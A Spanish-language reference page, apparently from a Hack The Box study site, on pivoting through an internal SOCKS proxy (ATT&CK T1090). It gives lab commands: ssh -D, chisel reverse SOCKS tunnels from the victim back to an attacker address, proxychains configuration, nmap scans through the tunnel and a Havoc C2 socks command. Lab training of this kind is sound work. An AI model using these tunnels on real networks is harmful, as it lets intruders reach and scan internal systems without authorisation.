Proxy interno
Subtécnica de T1090 Proxy ↗
Montar un proxy SOCKS en la víctima para alcanzar la red interna desde tu máquina.
Cómo aparece en Hack The Box
chisel R:socks o ssh -D y luego proxychains delante de cada herramienta. Recuerda que por SOCKS solo pasa TCP: usa nmap -sT -Pn.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Fuerza bruta de directorios
- Fuzzing de vhosts y subdominios
- Repositorio .git expuesto
- Cross-Site Scripting (XSS)
- CSRF
- Explotación de CVE público
- Server-Side Template Injection
- Escape de contenedores
- Credenciales en ficheros
- Servicios internos y port forwarding
- Cracking de hashes
- Backups y archivos comprimidos
- Abuso de sudo
Se muestran 48 de 56. Entra en cada técnica del catálogo de arriba para verlas todas.
Guías
- Port forwarding y pivoting: SSH, chisel y socat 3 min de lectura Cómo llegar a un servicio que solo escucha en 127.0.0.1 o a otra red interna: túneles locales, remotos y dinámicos con SSH, chisel cuando no hay SSH, socat y proxychains.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Port forwarding y pivoting › SSH
ssh -D 1080 -N [email protected]
Port forwarding y pivoting › chisel
./chisel client 10.10.14.5:8000 R:socks
Abre un SOCKS5 en el puerto 1080 de tu máquina.
.\chisel.exe client 10.10.14.5:8000 R:socks
Port forwarding y pivoting › Otros
socks5 127.0.0.1 1080
proxychains -q nmap -sT -Pn --top-ports 100 172.16.1.10
Con proxychains solo funciona TCP connect (-sT), sin ping (-Pn).
C2 y post-explotación › Havoc
socks add 1080
Chisel › Más usos
echo 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf
proxychains -q curl http://172.16.1.10
Ningún comando coincide.